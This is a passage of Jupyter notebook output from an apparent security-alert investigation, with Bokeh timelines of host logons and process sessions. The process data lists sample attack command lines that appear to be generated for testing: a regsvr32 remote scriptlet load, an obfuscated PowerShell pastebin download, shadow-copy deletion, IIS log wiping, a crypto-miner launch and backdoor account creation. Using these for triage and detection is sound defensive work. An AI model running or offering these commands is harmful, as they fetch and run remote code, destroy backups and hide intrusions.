%T.%3N}\"]]},\"id\":\"1691\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"1773\",\"type\":\"Selection\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1797\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1714\",\"type\":\"SaveTool\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1766\"},\"group\":null,\"major_label_policy\":{\"id\":\"1767\"},\"ticker\":{\"id\":\"1708\"},\"visible\":false},\"id\":\"1707\",\"type\":\"LinearAxis\"},{\"attributes\":{\"below\":[{\"id\":\"1735\"},{\"id\":\"1740\"}],\"center\":[{\"id\":\"1738\"}],\"height\":120,\"renderers\":[{\"id\":\"1747\"}],\"title\":{\"id\":\"1725\"},\"toolbar\":{\"id\":\"1739\"},\"toolbar_location\":null,\"width\":900,\"x_range\":{\"id\":\"1727\"},\"x_scale\":{\"id\":\"1731\"},\"y_range\":{\"id\":\"1729\"},\"y_scale\":{\"id\":\"1733\"}},\"id\":\"1724\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1690\"},\"glyph\":{\"id\":\"1757\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1759\"},\"nonselection_glyph\":{\"id\":\"1758\"},\"view\":{\"id\":\"1761\"}},\"id\":\"1760\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\adm1nistrator\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"NT AUTHORITY\\\\SYSTEM\"],\"LogonType\":[3,4,5],\"TimeGenerated\":{\"__ndarray__\":\"ALAP9P6EdkIAIBxK/IR2QgBAT8nyhHZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[3]},\"index\":[2,0,1],\"y_index\":[0,0,0]},\"selected\":{\"id\":\"1773\"},\"selection_policy\":{\"id\":\"1772\"}},\"id\":\"1690\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1754\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"1750\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Timeline: Clustered Host Logons\"},\"id\":\"1693\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"1699\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"1729\",\"type\":\"DataRange1d\"},{\"attributes\":{\"source\":{\"id\":\"1690\"}},\"id\":\"1748\",\"type\":\"CDSView\"},{\"attributes\":{\"overlay\":{\"id\":\"1750\"},\"x_range\":{\"id\":\"1695\"},\"y_range\":null},\"id\":\"1749\",\"type\":\"RangeTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1745\",\"type\":\"Circle\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1775\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1690\"},\"glyph\":{\"id\":\"1744\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1746\"},\"nonselection_glyph\":{\"id\":\"1745\"},\"view\":{\"id\":\"1748\"}},\"id\":\"1747\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1776\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1731\",\"type\":\"LinearScale\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1777\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1786\",\"type\":\"YearsTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"1716\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1782\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1781\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1778\",\"type\":\"DaysTicker\"},{\"attributes\":{\"align\":\"right\",\"coordinates\":null,\"group\":null,\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":\"10px\"},\"id\":\"1740\",\"type\":\"Title\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1779\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1780\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1713\",\"type\":\"ResetTool\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1785\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"1716\"}},\"id\":\"1712\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1783\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1758\",\"type\":\"Scatter\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1715\",\"type\":\"PanTool\"},{\"attributes\":{},\"id\":\"1769\",\"type\":\"AllLabels\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1711\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1784\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1767\",\"type\":\"AllLabels\"},{\"attributes\":{},\"id\":\"1701\",\"type\":\"LinearScale\"},{\"attributes\":{\"end\":1547531220066.45,\"start\":1547514634636.5498},\"id\":\"1727\",\"type\":\"Range1d\"},{\"attributes\":{\"tools\":[{\"id\":\"1691\"},{\"id\":\"1711\"},{\"id\":\"1712\"},{\"id\":\"1713\"},{\"id\":\"1714\"},{\"id\":\"1715\"}]},\"id\":\"1717\",\"type\":\"Toolbar\"},{\"attributes\":{\"fill_color\":{\"value\":\"navy\"},\"hatch_color\":{\"value\":\"navy\"},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1744\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1746\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1766\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1757\",\"type\":\"Scatter\"}],\"root_ids\":[\"1762\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n const render_items = [{\"docid\":\"f430dc37-ceca-4651-8411-2f152b562d82\",\"root_ids\":[\"1762\"],\"roots\":{\"1762\":\"6f00826f-241c-4bd0-abeb-daceef1c7d18\"}}];\n root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n }\n if (root.Bokeh !== undefined) {\n embed_document(root);\n } else {\n let attempts = 0;\n const timer = setInterval(function(root) {\n if (root.Bokeh !== undefined) {\n clearInterval(timer);\n embed_document(root);\n } else {\n attempts++;\n if (attempts > 100) {\n clearInterval(timer);\n console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n }\n }\n }, 10, root)\n }\n})(window);", "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "1762" } }, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n const force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n const JS_MIME_TYPE = 'application/javascript';\n const HTML_MIME_TYPE = 'text/html';\n const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n const CLASS_NAME = 'output_bokeh rendered_html';\n\n /**\n * Render data to the DOM node\n */\n function render(props, node) {\n const script = document.createElement(\"script\");\n node.appendChild(script);\n }\n\n /**\n * Handle when an output is cleared or removed\n */\n function handleClearOutput(event, handle) {\n const cell = handle.cell;\n\n const id = cell.output_area._bokeh_element_id;\n const server_id = cell.output_area._bokeh_server_id;\n // Clean up Bokeh references\n if (id != null && id in Bokeh.index) {\n Bokeh.index[id].model.document.clear();\n delete Bokeh.index[id];\n }\n\n if (server_id !== undefined) {\n // Clean up Bokeh references\n const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n cell.notebook.kernel.execute(cmd_clean, {\n iopub: {\n output: function(msg) {\n const id = msg.content.text.trim();\n if (id in Bokeh.index) {\n Bokeh.index[id].model.document.clear();\n delete Bokeh.index[id];\n }\n }\n }\n });\n // Destroy server and session\n const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n cell.notebook.kernel.execute(cmd_destroy);\n }\n }\n\n /**\n * Handle when a new output is added\n */\n function handleAddOutput(event, handle) {\n const output_area = handle.output_area;\n const output = handle.output;\n\n // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n return\n }\n\n const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n // store reference to embed id on output_area\n output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n }\n if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n const bk_div = document.createElement(\"div\");\n bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n const script_attrs = bk_div.children[0].attributes;\n for (let i = 0; i < script_attrs.length; i++) {\n toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n }\n // store reference to server id on output_area\n output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n }\n }\n\n function register_renderer(events, OutputArea) {\n\n function append_mime(data, metadata, element) {\n // create a DOM node to render to\n const toinsert = this.create_output_subarea(\n metadata,\n CLASS_NAME,\n EXEC_MIME_TYPE\n );\n this.keyboard_manager.register_events(toinsert);\n // Render to node\n const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n render(props, toinsert[toinsert.length - 1]);\n element.append(toinsert);\n return toinsert\n }\n\n /* Handle when an output is cleared or removed */\n events.on('clear_output.CodeCell', handleClearOutput);\n events.on('delete.Cell', handleClearOutput);\n\n /* Handle when a new output is added */\n events.on('output_added.OutputArea', handleAddOutput);\n\n /**\n * Register the mime type and append_mime function with output_area\n */\n OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n /* Is output safe? */\n safe: true,\n /* Index of renderer in `output_area.display_order` */\n index: 0\n });\n }\n\n // register the mime type if in Jupyter Notebook environment and previously unregistered\n if (root.Jupyter !== undefined) {\n const events = require('base/js/events');\n const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n register_renderer(events, OutputArea);\n }\n }\n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n const NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n const el = document.getElementById(\"1985\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error(url) {\n console.error(\"failed to load \" + url);\n }\n\n for (let i = 0; i < css_urls.length; i++) {\n const url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error.bind(null, url);\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (let i = 0; i < js_urls.length; i++) {\n const url = js_urls[i];\n const element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error.bind(null, url);\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n const css_urls = [];\n \n\n const inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (let i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n const cell = $(document.getElementById(\"1985\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));", "application/vnd.bokehjs_load.v0+json": "" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "\n", "\n", "\n", "\n", "\n", "
\n" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": "(function(root) {\n function embed_document(root) {\n \n const docs_json = {\"4b05e813-4664-4327-95d9-60c8547c5ebc\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1988\"},{\"id\":\"2020\"}]},\"id\":\"2058\",\"type\":\"Column\"},{\"attributes\":{},\"id\":\"2068\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"2069\",\"type\":\"Selection\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2071\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2072\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2073\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"2082\",\"type\":\"YearsTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2078\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2077\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2074\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2075\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2076\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"2081\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2079\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2080\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"NewProcessName\",\"@NewProcessName\"],[\"EventID\",\"@EventID\"],[\"CommandLine\",\"@CommandLine\"],[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"]]},\"id\":\"1987\",\"type\":\"HoverTool\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2084\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2085\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2086\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1986\"},\"glyph\":{\"id\":\"2053\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2055\"},\"nonselection_glyph\":{\"id\":\"2054\"},\"view\":{\"id\":\"2057\"}},\"id\":\"2056\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2087\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2088\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2090\",\"type\":\"DaysTicker\"},{\"attributes\":{\"start\":-1.0},\"id\":\"1993\",\"type\":\"Range1d\"},{\"attributes\":{\"active_multi\":{\"id\":\"2045\"},\"tools\":[{\"id\":\"2045\"}]},\"id\":\"2035\",\"type\":\"Toolbar\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"2094\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2089\",\"type\":\"DaysTicker\"},{\"attributes\":{\"end\":1547529321273.9998,\"start\":1547529301390.0002},\"id\":\"1991\",\"type\":\"Range1d\"},{\"attributes\":{\"fill_color\":{\"value\":\"navy\"},\"hatch_color\":{\"value\":\"navy\"},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2040\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"2095\",\"type\":\"YearsTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2091\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2050\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2092\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"axis\":{\"id\":\"1999\"},\"coordinates\":null,\"group\":null,\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"2002\",\"type\":\"Grid\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2093\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2037\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2071\"},{\"id\":\"2072\"},{\"id\":\"2073\"},{\"id\":\"2074\"},{\"id\":\"2075\"},{\"id\":\"2076\"},{\"id\":\"2077\"},{\"id\":\"2078\"},{\"id\":\"2079\"},{\"id\":\"2080\"},{\"id\":\"2081\"},{\"id\":\"2082\"}]},\"id\":\"2000\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"2062\"},\"group\":null,\"major_label_policy\":{\"id\":\"2063\"},\"ticker\":{\"id\":\"2004\"},\"visible\":false},\"id\":\"2003\",\"type\":\"LinearAxis\"},{\"attributes\":{\"source\":{\"id\":\"1986\"}},\"id\":\"2057\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1997\",\"type\":\"LinearScale\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Timeline: Alert Process Session\"},\"id\":\"1989\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"1995\",\"type\":\"LinearScale\"},{\"attributes\":{\"data\":{\"CommandLine\":[\".\\\\ftp -s:C:\\\\RECYCLER\\\\xxppyy.exe\",\".\\\\reg not /domain:everything that /sid:shines is\\n/krbtgt:golden !\",\"cmd /c \\\"systeminfo && systeminfo\\\"\",\".\\\\rundll32 /C 42424.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\42424.exe\",\".\\\\rundll32 /C 1234.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\1234.exe\",\".\\\\rundll32 /C reg.exe\",\".\\\\reg.exe add\\n\\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe C:\\\\Users\\\\MSTI\\nCAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.\\n0.14.tmp\\\" /SL5=\\\"$250276,19992586,423424,C:\\\\Users\\\\M\\nSTICAdmin\\\\Downloads\\\\tsetup.1.0.14.exe\",\".\\\\rundll32.exe /C mshtml,RunHTMLApplication\\njavascript:alert(tada!)\",\".\\\\netsh.exe \\\"in (*.exe) do start # artificial\\ncommandline solely for purposes of triggering\\ntest\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell\\nSet-ExecutionPolicy RemoteSigned&echo [S]&cd&echo\\n[E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell\\nEnable-WSManCredSSP =2013Role Server -force&echo\\n[S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell\\nwinrm set winrm/config/service/Auth\\n@{Kerberos=003D\\\"true\\\"}&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\ProgramData\\\"© \\\\\\\\[REDACTED\\n]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Password Change\\nDates.docx\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\s\\nystem32\\\\inetsrv\\\\appcmd set config \\\"Default Web\\nSite/\\\" /section:httplogging /dontLog:true&echo\\n[S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del\\nC:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log /q&echo\\n[S]&cd&echo [E]\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat\",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe\",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe\",\"vssadmin delete shadows /all /quiet\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"cmd /c echo Any questions about the commands\\nexecuted here then please contact one of\",\"cmd /c echo timb@microsoft.com;\\nromead@microsoft.com; ianhelle@microsoft.com;\\nmarcook@microsoft.com; dotanp@microsoft.com;\\nliengli@microsoft.com\",\"net user adm1nistrator Bob_testing /add\",\"net share TestShare=c:\\\\testshare\\n/Grant:Users,Read\",\"net use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare\\nBob_testing /User:adm1nistrator\",\"net use q: /delete\",\"net share TestShare /delete\",\"net user adm1nistrator /delete\",\".\\\\regsvr32 /s /n /u /i:http://server/file.sct\\nscrobj.dll\",\".\\\\suchost.exe -a cryptonight -o bcn -u\\nbond007.01 -p x -t 4\",\"cmd /c \\\"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n>> delme.b64\\\"\",\"cmd /c \\\"echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n>> delme.b64\\\"\",\".\\\\powershell.exe -c \\\"$a =\\n'Download'+'String'+\\\"(('ht'+'tp://paste'+\\n'bin/'+'raw/'+'pqCwEm17'))\\\";$b = '(New-Object' + '\\nNet.WebClient)';'$b.$a' | Out-File .\\\\evil.ps1;\\\"\",\".\\\\powershell -c {IEX 